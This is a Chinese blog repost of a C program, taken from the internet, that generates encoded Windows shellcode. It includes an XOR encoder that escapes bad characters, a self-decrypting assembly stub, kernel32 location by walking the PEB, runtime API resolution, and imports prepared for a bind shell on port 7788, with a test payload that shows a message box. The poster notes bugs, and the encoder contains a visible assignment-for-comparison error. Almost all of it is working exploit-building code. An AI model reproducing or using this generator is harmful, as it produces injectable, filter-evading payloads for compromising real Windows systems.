zoukankan      html  css  js  c++  java
  • 网上看到的编写shellcode的程序

    网上看到的编写shellcode的程序

      1 /*  
      2             使用C语言编写通用shellcode的程序  
      3 出处:internet  
      4 修改:Hume/冷雨飘心  
      5 测试:Win2K SP4 Local  
      6   
      7 */   
      8 #include <windows.h>   
      9 #include <stdio.h>   
     10 #include <winioctl.h>   
     11    
     12 #define  DEBUG 1   
     13    
     14 //   
     15 //函数原型   
     16 //   
     17 void     DecryptSc();   
     18 void     ShellCodes();   
     19 void     PrintSc(char *lpBuff, int buffsize);   
     20    
     21 //   
     22 //用到的部分定义   
     23 //   
     24 #define  BEGINSTRLEN    0x08    //开始字符串长度   
     25 #define  ENDSTRLEN      0x08    //结束标记字符的长度   
     26 #define  nop_CODE       0x90    //填充字符   
     27 #define  nop_LEN        0x0     //ShellCode起始的填充长度   
     28 #define  BUFFSIZE       0x20000 //输出缓冲区大小   
     29    
     30 #define  sc_PORT        7788    //绑定端口号 0x1e6c   
     31 #define  sc_BUFFSIZE    0x2000  //ShellCode缓冲区大小   
     32    
     33 #define  Enc_key        0x7A    //编码密钥   
     34    
     35 #define  MAX_Enc_Len    0x400   //加密代码的最大长度 1024足够?   
     36 #define  MAX_Sc_Len     0x2000  //hellCode的最大长度 8192足够?   
     37 #define  MAX_api_strlen 0x400   //APIstr字符串的长度   
     38 #define  API_endstr     "strend"//API结尾标记字符串       
     39 #define  API_endstrlen  0x06    //标记字符串长度   
     40    
     41 #define PROC_BEGIN __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90\   
     42                    __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90   
     43 #define PROC_END PROC_BEGIN   
     44 //---------------------------------------------------   
     45 enum{       //Kernel32   
     46             _CreatePipe,   
     47             _CreateProcessA,   
     48             _CloseHandle,   
     49             _PeekNamedPipe,   
     50             _ReadFile,   
     51             _WriteFile,   
     52             _ExitProcess,   
     53    
     54             //WS2_32   
     55             _socket,   
     56             _bind,   
     57             _listen,   
     58             _accept,   
     59             _send,   
     60             _recv,   
     61             _ioctlsocket,   
     62             _closesocket,   
     63    
     64             //本机测试User32   
     65             _MessageBeep,   
     66             _MessageBoxA,   
     67             API_num   
     68 };   
     69    
     70 //   
     71 //代码这里开始   
     72 //   
     73 int __cdecl main(int argc, char **argv)   
     74 {   
     75   //shellcode中要用到的字符串   
     76   static char ApiStr[]="\x1e\x6c"   //端口地址   
     77    
     78             //Kernel32的API函数名称   
     79             "CreatePipe""\x0"   
     80             "CreateProcessA""\x0"   
     81             "CloseHandle""\x0"   
     82             "PeekNamedPipe""\x0"   
     83             "ReadFile""\x0"   
     84             "WriteFile""\x0"   
     85             "ExitProcess""\x0"   
     86    
     87             //其它API中用到的API   
     88             "wsock32.dll""\x0"   
     89             "socket""\x0"   
     90             "bind""\x0"   
     91             "listen""\x0"   
     92             "accept""\x0"   
     93             "send""\x0"   
     94             "recv""\x0"   
     95             "ioctlsocket""\x0"   
     96             "closesocket""\x0"   
     97             //本机测试   
     98             "user32.dll""\x0"   
     99             "MessageBeep""\x0"   
    100             "MessageBoxA""\x0"   
    101    
    102             "\x0\x0\x0\x0\x0"   
    103             "strend";   
    104    
    105   char  *fnbgn_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";  //标记开始的字符串   
    106   char  *fnend_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";  //标记结束的字符串   
    107    
    108   char  buff[BUFFSIZE];         //缓冲区   
    109   char  sc_buff[sc_BUFFSIZE];   //ShellCodes缓冲   
    110   char  *pDcrypt_addr,   
    111         *pSc_addr;   
    112    
    113   int   buff_len;               //缓冲长度   
    114   int   EncCode_len;            //加密编码代码长度   
    115   int   Sc_len;                 //原始ShellCode的长度   
    116    
    117   int       i,k;   
    118   unsigned  char ch;   
    119    
    120   //   
    121   //获得DecryptSc()地址,解码函数的地址,然后搜索MAX_Enc_Len字节,查找标记开始的字符串   
    122   //获得真正的解码汇编代码的开始地址,MAX_Enc_Len定义为1024字节一般这已经足够了,然后将这   
    123   //部分代码拷贝入待输出ShellCode的缓冲区准备进一步处理   
    124   //   
    125   pDcrypt_addr=(char *)DecryptSc;   
    126    
    127   //定位其实际地址,因为在用Visual Studio生成调试版本调试的情况下,编译器会生成跳转表,   
    128   //从跳转表中要计算得出函数实际所在的地址,这只是为了方便用VC调试   
    129    
    130   ch=*pDcrypt_addr;   
    131   if (ch==0xe9)   
    132   {   
    133       pDcrypt_addr++;   
    134       i=*(int *)pDcrypt_addr;   
    135       pDcrypt_addr+=(i+4);      //此时指向函数的实际地址   
    136   }   
    137   //找到解码代码的开始部分   
    138   for(k=0;k<MAX_Enc_Len;++k) if(memcmp(pDcrypt_addr+k,fnbgn_str,BEGINSTRLEN)==0) break;   
    139    
    140   if (k<MAX_Enc_Len) pDcrypt_addr+=(k+8);   //如找到定位实际代码的开始   
    141   else    
    142   {   
    143       //显示错误信息   
    144       k=0;   
    145       printf("\nNo Begin str defined in Decrypt function!Please Check before go on...\n");   
    146       return 0;   
    147   }   
    148    
    149   for(k=0;k<MAX_Enc_Len;++k) if(memcmp(pDcrypt_addr+k,fnend_str,ENDSTRLEN)==0) break;   
    150    
    151   if (k<MAX_Enc_Len) EncCode_len=k;   
    152   else    
    153   {   
    154       k=0;   
    155       printf("\nNo End str defined in Decrypt function!Please Check....\n");   
    156       return 0;   
    157   }   
    158    
    159   memset(buff,nop_CODE,BUFFSIZE);                       //缓冲区填充   
    160   memcpy(buff+nop_LEN,pDcrypt_addr,EncCode_len);        //把DecryptSc代码复制进buff   
    161    
    162   //   
    163   //处理ShellCode代码,如果需要定位到代码的开始   
    164   //   
    165   pSc_addr=(char *)ShellCodes;     //shellcode的地址   
    166    
    167   //调试状态下的函数地址处理,便于调试   
    168   ch=*pSc_addr;   
    169   if (ch==0xe9)   
    170   {   
    171       pSc_addr++;   
    172       i=*(int *)pSc_addr;   
    173       pSc_addr+=(i+4);      //此时指向函数的实际地址   
    174   }   
    175    
    176   //如果需要定位到实际ShellCodes()的开始,这个版本中是不需要的   
    177   /*  
    178   for (k=0;k<MAX_Sc_Len ;++k ) if(memcmp(pSc_addr+k,fnbgn_str,BEGINSTRLEN)==0) break;  
    179   if (k<MAX_Enc_Len) pSc_addr+=(k+8);   //如找到定位实际代码的开始  
    180   */   
    181    
    182   //找到shellcode的结尾及长度   
    183   for(k=0;k<MAX_Sc_Len;++k) if(memcmp(pSc_addr+k,fnend_str,ENDSTRLEN)==0) break;   
    184   if (k<MAX_Sc_Len) Sc_len=k;   
    185   else    
    186   {   
    187       k=0;   
    188       printf("\nNo End str defined in ShellCodes function!Please Check....\n");   
    189       return 0;   
    190   }   
    191    
    192    
    193   //把shellcode代码复制进sc_buff   
    194   memcpy(sc_buff,pSc_addr,Sc_len);   
    195    
    196   //把字符串拷贝在shellcode的结尾   
    197   for(i=0;i<MAX_api_strlen;++i) if(memcmp(ApiStr+i,"strend",API_endstrlen)==0) break;   
    198   if(i>=MAX_api_strlen)   
    199   {   
    200       printf("\nNo End str defined in API strings!Please Check....\n");   
    201       return 0;   
    202   }   
    203   memcpy(sc_buff+k,ApiStr,i);   
    204    
    205   Sc_len+=i;        //增加shellcode的长度   
    206    
    207   //   
    208   //对shellcode进行编码算法简单,可根据需要改变   
    209   //   
    210   k=EncCode_len+nop_LEN;    //定位缓冲区应存放ShellCode地址的开始   
    211    
    212   for(i=0;i<Sc_len;++i){   
    213    
    214      ch=sc_buff[i]^Enc_key;   
    215      //对一些可能造成shellcode失效的字符进行替换   
    216      if(ch=0x1f||ch==' '||ch=='.'||ch=='/'||ch=='\\'||ch=='0'||ch=='?'||ch=='%'||ch=='+')   
    217      {   
    218         buff[k]='0';   
    219         ++k;   
    220         ch+=0x31;   
    221      }   
    222      //把编码过的shellcode放在DecryptSc代码后面   
    223      buff[k]=ch;   
    224      ++k;   
    225   }   
    226    
    227   //shellcode的总长度   
    228   buff_len=k;   
    229    
    230   //打印出shellcode   
    231   PrintSc(buff,buff_len);   
    232   //buff[buff_len]=0;   
    233   //printf("%s",buff);   
    234    
    235 #ifdef DEBUG   
    236   _asm{   
    237       lea eax,buff   
    238       jmp eax   
    239       ret   
    240   }   
    241 #endif   
    242    
    243     return  0;   
    244 }   
    245    
    246 //解码shellcode的代码   
    247 void  DecryptSc()   
    248 {   
    249        __asm{   
    250    
    251 /////////////////////////   
    252 //定义开始标志   
    253 /////////////////////////   
    254           PROC_BEGIN    //C macro to begin proc   
    255    
    256           jmp   next   
    257 getEncCodeAddr:   
    258           pop   edi   
    259           push  edi   
    260           pop   esi   
    261           xor   ecx,ecx   
    262 Decrypt_lop:    
    263           lodsb   
    264           cmp  al,cl   
    265           jz   shell   
    266           cmp  al,0x30  //判断是否为特殊字符   
    267           jz   special_char_clean   
    268 store:         
    269           xor  al,Enc_key   
    270           stosb   
    271           jmp  Decrypt_lop   
    272 special_char_clean:      
    273           lodsb   
    274           sub al,0x31   
    275           jmp store   
    276 next:        
    277           call  getEncCodeAddr   
    278           //其余真正加密的shellcode代码会连接在此处   
    279 shell:       
    280    
    281 /////////////////////////   
    282 //定义结束标志   
    283 /////////////////////////   
    284           PROC_END      //C macro to end proc   
    285    
    286           }   
    287 }            
    288    
    289 //   
    290 //shellcode代码   
    291 //   
    292 void ShellCodes()   
    293 {   
    294     //API低址数组       
    295     FARPROC     API[API_num];   
    296    
    297    
    298     //自己获取的API地址   
    299     FARPROC     GetProcAddr;   
    300     FARPROC    LoadLib;   
    301    
    302     HANDLE      hKrnl32;   
    303     HANDLE      libhandle;   
    304    
    305     char        *ApiStr_addr,*p;   
    306        
    307     int         k;   
    308     u_short     shellcodeport;   
    309    
    310     //测试用变量   
    311     char        *testAddr;   
    312    
    313 /*  
    314     STARTUPINFO siinfo;  
    315     SOCKET      listenFD,clientFD;  
    316     struct      sockaddr_in server;  
    317     int         iAddrSize = sizeof(server);  
    318     int         lBytesRead;  
    319     PROCESS_INFORMATION ProcessInformation;  
    320     HANDLE      hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;  
    321     SECURITY_ATTRIBUTES sa;  
    322   
    323 */   
    324    
    325    
    326 _asm {   
    327         jmp    locate_addr0   
    328 getApiStr_addr:   
    329         pop    ApiStr_addr   
    330    
    331         //开始获取API的地址以及GetProcAddress和LoadLibraryA的地址   
    332         //以后就可以方便地获取任何API的地址了   
    333    
    334         //保护寄存器   
    335         pushad   
    336    
    337     xor     esi,esi   
    338         lods    dword ptr fs:[esi]   
    339            
    340 Search_Krnl32_lop:   
    341         inc     eax   
    342         je      Krnl32_Base_Ok   
    343         dec     eax   
    344         xchg    esi,eax   
    345         LODSD     
    346         jmp     Search_Krnl32_lop   
    347 Krnl32_Base_Ok:   
    348    
    349         LODSD                      
    350                                 ;compare if PE_hdr   
    351         xchg    esi,eax   
    352     find_pe_header:   
    353         dec     esi   
    354         xor     si,si           ;kernel32 is 64kb align   
    355         mov     eax,[esi]   
    356         add     ax,-'ZM'        ;          
    357         jne     find_pe_header   
    358         mov     edi,[esi+3ch]   ;.e_lfanew           
    359         mov     eax,[esi+edi]   
    360         add     eax,-'EP'       ;anti heuristic change this if you are using MASM etc.        
    361         jne     find_pe_header     
    362            
    363         push     esi   
    364                                 ;esi=VA Kernel32.BASE   
    365                                 ;edi=RVA K32.pehdr           
    366         mov     ebx,esi   
    367         mov     edi,[ebx+edi+78h]  ;peh.DataDirectory   
    368            
    369         push    edi   
    370         push    esi   
    371    
    372         mov     eax,[ebx+edi+20h]  ;peexc.AddressOfNames                    
    373         mov     edx,[ebx+edi+24h]  ;peexc.AddressOfNameOrdinals         
    374         call    __getProcAddr   
    375         _emit 0x47   
    376         _emit 0x65   
    377         _emit 0x74   
    378         _emit 0x50   
    379         _emit 0x72   
    380         _emit 0x6F   
    381         _emit 0x63   
    382         _emit 0x41   
    383         _emit 0x64   
    384         _emit 0x64   
    385         _emit 0x72   
    386         _emit 0x65   
    387         _emit 0x73   
    388         _emit 0x73   
    389         _emit 0x0   
    390         //db     "GetProcAddress",0   
    391 __getProcAddr:   
    392         pop     edi   
    393         mov     ecx,15           
    394         sub     eax,4   
    395 next_:           
    396         add     eax,4   
    397         add     edi,ecx   
    398         sub     edi,15   
    399         mov     esi,[ebx+eax]   
    400         add     esi,ebx   
    401         mov     ecx,15   
    402         repz    cmpsb   
    403         jnz     next_   
    404    
    405         pop     esi   
    406         pop     edi   
    407    
    408         sub     eax,[ebx+edi+20h]      ;peexc.AddressOfNames   
    409         shr     eax,1   
    410         add     edx,ebx   
    411         movzx   eax,word ptr [edx+eax]           
    412         add     esi,[ebx+edi+1ch]       ;peexc.AddressOfFunctions   
    413         add     ebx,[esi+eax*4]         ;ebx=Kernel32.GetProcAddress.addr   
    414                                         ;use GetProcAddress and hModule to get other func   
    415         pop     esi                     ;esi=kernel32 Base   
    416    
    417         mov     [hKrnl32],esi           //保存   
    418         mov     [GetProcAddr],ebx       //保存   
    419    
    420         call    _getLoadLib   
    421         _emit 0x4C   
    422         _emit 0x6F   
    423         _emit 0x61   
    424         _emit 0x64   
    425         _emit 0x4C   
    426         _emit 0x69   
    427         _emit 0x62   
    428         _emit 0x72   
    429         _emit 0x61   
    430         _emit 0x72   
    431         _emit 0x79   
    432         _emit 0x41   
    433         _emit 0x0   
    434         //db      "LoadLibraryA",0   
    435            
    436 _getLoadLib:   
    437         push    esi   
    438         call    ebx   
    439         mov     [LoadLib],eax   
    440    
    441         //恢复寄存器,避免更多问题   
    442         popad   
    443     }   
    444    
    445    //取出定义的端口地址   
    446    shellcodeport=*(u_short *)ApiStr_addr;   
    447    ApiStr_addr+=2;   
    448       
    449    ////////////////////////////////测试用   
    450     testAddr=ApiStr_addr;   
    451    ////////////////////////////////////   
    452    
    453    //利用GetProcAddress来获得shellcode中所用到的API地址   
    454    
    455    libhandle=hKrnl32;   
    456    p=ApiStr_addr;   
    457    
    458    k=0;   
    459    ///*   
    460    while ( *((unsigned int *)p) != 0)   
    461    {   
    462        ApiStr_addr=p;   
    463        while(*p) p++;   //前进到下一个字符串   
    464    
    465        if (*( (unsigned int *)(p-4))=='lld.')   
    466        {   
    467            libhandle=(HANDLE)LoadLib(ApiStr_addr);  //若为DLL则加载DLL   
    468        }   
    469        else   
    470        {   
    471            API[k]=(FARPROC)GetProcAddr(libhandle,ApiStr_addr);   
    472            k++;   
    473        }   
    474           
    475        ApiStr_addr=++p; //更新指针前进一个字符位置   
    476           
    477    }   
    478       
    479    //*/   
    480    
    481 ///////////////////////////////////////////////////////////////////////////   
    482 //         下面就可以使用C语言来编写真正实现功能的shellcode了                //   
    483 ///////////////////////////////////////////////////////////////////////////   
    484 //   
    485 //简单测试几个API看是否复合要求   
    486 //   
    487 API[_MessageBeep](0x10);   
    488 API[_MessageBoxA](0,testAddr,0,0x40);   
    489 API[_ExitProcess](0);   
    490 ///////////////////////////////////////////////////////////////////////////   
    491 //                           shellcode功能部分结束                       //   
    492 ///////////////////////////////////////////////////////////////////////////   
    493    
    494 //死循环   
    495 die:      
    496     goto die;   
    497 __asm   
    498     {   
    499 locate_addr0:     
    500            call getApiStr_addr      //5 bytes   
    501 //真正的字符串数据要连接在此处   
    502        
    503    
    504    
    505    
    506 /////////////////////////   
    507 //定义结束标志   
    508 /////////////////////////   
    509           PROC_END      //C macro to end proc   
    510           
    511      }   
    512 }   
    513    
    514 //   
    515 //显示打印生成的shellcode的C string格式代码   
    516 //   
    517 void PrintSc(char *lpBuff, int buffsize)   
    518 {   
    519     int i,j;   
    520     char *p;   
    521     char msg[4];   
    522     for(i=0;i<buffsize;i++)   
    523     {   
    524         if((i%16)==0)   
    525             if(i!=0)   
    526                 printf("\"\n\"");   
    527             else   
    528                 printf("\"");   
    529         sprintf(msg,"\\x%.2X",lpBuff[i]&0xff);   
    530         for( p = msg, j=0; j  4; p++, j++ )   
    531         {   
    532             if(isupper(*p))   
    533                 printf("%c", _tolower(*p));   
    534             else   
    535                 printf("%c", p[0]);   
    536         }   
    537     }   
    538     printf("\";\n/*Shell total are %d bytes */\n",buffsize);   
    539 }

    源地址:http://read.pudn.com/downloads92/sourcecode/windows/system/354945/book/chapter6/C%E8%AF%AD%E8%A8%80%E7%9B%B4%E6%8E%A5%E6%8F%90%E5%8F%96/GetShellCodeByC.c__.htm

    有BUG。用的时候需要修改

    我自己写了一个,在另一篇随笔里。虽然代码难看,但是确实能用……

    不会排版,貌似源地址的代码看起来更清晰一些

  • 相关阅读:
    比较两个树是否相同
    将一个字符串转换成一个整数
    求数组中第一个重复数字
    Redis之哨兵机制(sentinel)——配置详解及原理介绍
    ==和equals的区别
    求一个数的立方根
    检测应用版本
    【转】UITableViewCell自适应高度 UILabel自适应高度和自动换行
    iOS7中Cell高度 Label高度自适应
    MarsEdit 快速插入代码
  • 原文地址:https://www.cnblogs.com/02xiaoma/p/2641827.html
Copyright © 2011-2022 走看看